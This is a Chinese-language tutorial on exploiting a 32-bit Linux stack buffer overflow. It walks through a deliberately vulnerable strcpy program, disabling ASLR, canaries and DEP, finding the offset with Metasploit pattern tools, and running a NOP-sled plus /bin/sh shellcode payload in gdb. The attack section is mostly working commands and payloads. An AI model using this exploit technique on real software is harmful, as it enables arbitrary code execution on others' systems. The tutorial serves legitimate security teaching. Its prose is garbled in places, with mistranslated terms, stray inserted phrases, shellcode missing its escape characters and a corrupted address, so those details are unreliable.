本节主要讲解了linux32位栈溢出的借助原理。以一个实例,详尽描述了linux栈溢出的原理和应用。
目录
1.栈溢出背景知识
栈
栈又称堆栈,由编译器手动分配释放,行为类似数据结构中的栈(先进后出)。堆栈主要有三个用途:
为函数内部申明的非静态局部变量(C语言中称“自动变量”)提供储存空间。记录函数调用过程相关的维护性信息,称为栈帧(StackFrame)或过程活动记录(ProcedureActivationRecord)。它包括函数返回地址,不适宜放入寄存器的函数参数及一些寄存器值的保存。除递归调用外,堆栈并非必需。由于编译时可得知局部变量,参数和返回地址所需空间,并将其分配于BSS段。临时储存区,用于暂存长算术表达式部份估算结果或alloca()函数分配的栈内内存。
持续地重用栈空间有助于使活跃的栈显存保持在CPU缓存中,进而加速访问。进程中的每位线程都有属于自己的栈。向栈中不断压入数据时,若超出其容量都会用尽栈对应的显存区域,因而触发一个页错误。此时若栈的大小高于堆栈最大值RLIMIT_STACK(一般是8M),则栈会动态下降linux栈溢出,程序继续运行。映射的栈区扩充到所需大小后,不再收缩。
Linux中ulimit-s可查看和设置堆栈最大值,当程序使用的堆栈超过该值时,发生栈溢出(StackOverflow),程序收到一个段错误(SegmentationFault)。注意,调高堆栈容量可能会降低显存开支和启动时间。
堆栈既可向上下降(向显存低地址)也可向下下降,这依赖于具体的实现。本文所述堆栈向上下降。
堆栈的大小在运行时由内核动态调整。
32位寄存器
栈溢出借助主要涉及到了两类寄存器,表针寄存器和指令寄存器,
表针寄存器(PointerRegister):(寄存器EBP、ESP、BP和SP称为表针寄存器,主要用于储存堆栈显存储单元的偏斜量,用它们可实现多种储存器操作数的轮询形式,为以不同的地址方式访问储存单元提供便捷。它们主要用于访问堆栈内的储存单元,而且规定
指令表针寄存器(InstructionPointer):是储存上次即将执行的指令在代码段的偏斜量。在具有预取指令功能的系统中,上次要执行的指令一般已被预取到指令队列中,除非发生转移情况。所以linux栈溢出,在理解它们的功能时,不考虑存在指令队列的情况。
2.栈溢出的原理
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,从而造成与其相邻的栈中的变量的值被改变。这些问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss段溢出等溢出形式。栈溢出漏洞轻则可以使程序崩溃,重则可以使功击者控制程序的指令表针。以下是一段栈溢出的代码,
//sbof.c
#include
void stack_buffer_overflow(char str[])
{
char buff[32] = "";
strcpy(buff,str);
printf("%sn",buff);
}
int main(int argc, char **argv){
stack_buffer_overflow(argv[1]);
}
为了实验才能让读者便于理解,在编译时取消各类保护机制,
首先关掉地址随机化ASLR,
echo 0 >/proc/sys/kernel/randomize_va_space 0
使用如下进行编译,
gcc -o sbof -z execstack -fno-stack-protector -g -m32 sbof.c
“-m32”:32位编译,须要安装apt-getinstallgcc-multilib
“-zexecstack”:DEP可以避免应用运行用于暂存指令的那部份显存中的数据,进而保护笔记本。假如DEP发觉某个运行这种数据的应用,它将关掉该应用并通知你。
“echo0>/proc/sys/kernel/randomize_va_space0”:ASLR是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过降低功击者预测目的地址的难度,避免功击者直接定位功击代码位置,达到制止溢出功击的目的的一种技术。
“-fno-stack-protector”:栈金丝雀,因其类似于矿山中的金丝雀而,用于在恶意代码之前检查栈缓冲溢出。这些技巧的原理就是,把一个小的整数值(在程序启动时随机选择)倒入显存中,其位置正好坐落栈返回表针之前。大多数缓存溢出都是从低地址到高地址覆盖显存linux重启命令,所以,只要覆盖了栈的返回表针,这么这个“金丝雀”值也会被覆盖。在程序使用栈返回的表针之前,先检测这个值是否发生改变。
编译完成后gdb中执行调试,输入下边的命令给它灌入100个A
run $(python -c "print 'A' * 100")
形成段错误,但是当前的指令的地址被更改为41414141。这是由于函数的返回值由于溢出被更改。
查看main函数反汇编代码,找到stack_buffer_overflow()函数的返回值地址,0x56556248
在strcpy前加入断点进行调试redhat linux,对比前后栈中值的变化。
执行strcpy前,返回值地址保存在栈上。
执行strcpy后,返回值地址被覆盖为41414141。
3.栈溢出的借助
本节通过借助上节中带有缓冲区溢出的代码,生成一个。
通过msf-pattern_create获取定位payload,
root@kali:~/test# msf-pattern_create -l 128
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae
在gdb中传入定位payload,溢出后显示下一条指令为0x35624134。
使用msf-pattern_offset按照0x35624134获取具体偏斜。偏斜为44
root@kali:~/test# msf-pattern_offset -q 0x35624134
[*] Exact match at offset 44
重新组合payload,确定shellcode位置,
python -c 'print "A" * 44 + "B" * 4 + "C" * 200'
查看当前esp,地址为0xffffd7d0。
查看esp地址的显存中的内容,被C塞满,此处可以拿来储存shellcode。
shellcode的制做方式常用有三种:
手工制做;msfvenom生成;exploit-db网站直接获取。
本章不是以shellcode为重点,所以直接从exploit-db上获取一个32位的shell的shellcode。假如你们想要学习手工制做shellcode方式,可以留言,本人重新写一篇博文专门介绍。
这网站就能直接获取经过测试的shellcode。
搜索一个32位/bin/sh的shellcode。
选中这个,shellcode为,
xd9xeex9bxd9x74x24xf4x5fx83xc7x25x8dx77x08x31xc9xb1x04x0fx6fx07x0fx6fx0ex0fxefxc1x0fx7fx06x83xc6x08xe2xefxebx08xaaxaaxaaxaaxaaxaaxaaxaax9bx6axfaxc2x85x85xd9xc2xc2x85xc8xc3xc4x23x49xfax23x48xf9x23x4bx1axa1x67x2a
第一次组合,找寻确切的esp地址。此处返回地址为BBBB。是由于当函数入参的厚度变化后,栈顶(esp)对应的地址也会发生变化。所以须要先进行一次不成功的实验来确定esp在当前宽度payload对应的值。
run $(python -c 'print "A"*44 +"B" * 4 + "x90" * 32+ "xd9xeex9bxd9x74x24xf4x5fx83xc7x25x8dx77x08x31xc9xb1x04x0fx6fx07x0fx6fx0ex0fxefxc1x0fx7fx06x83xc6x08xe2xefxebx08xaaxaaxaaxaaxaaxaaxaaxaax9bx6axfaxc2x85x85xd9xc2xc2x85xc8xc3xc4x23x49xfax23x48xf9x23x4bx1axa1x67x2a"')
此时esp的值为0xffffdxffffd830。将这个值替换payload中的BBBB重新组合payload。
run $(python -c 'print "A"*44 +"x30xd8xffxff" + "x90" * 32+ "xd9xeex9bxd9x74x24xf4x5fx83xc7x25x8dx77x08x31xc9xb1x04x0fx6fx07x0fx6fx0ex0fxefxc1x0fx7fx06x83xc6x08xe2xefxebx08xaaxaaxaaxaaxaaxaaxaaxaax9bx6axfaxc2x85x85xd9xc2xc2x85xc8xc3xc4x23x49xfax23x48xf9x23x4bx1axa1x67x2a"')
执行成功!
注:由于环境变量关系,在GDB之外漏洞程序执行该payload不会成功。这个问题你们网上早已有了解答。
本文原创地址://lrxjmw.cn/ljczslzycdyl.html编辑:刘遄,审核员:暂无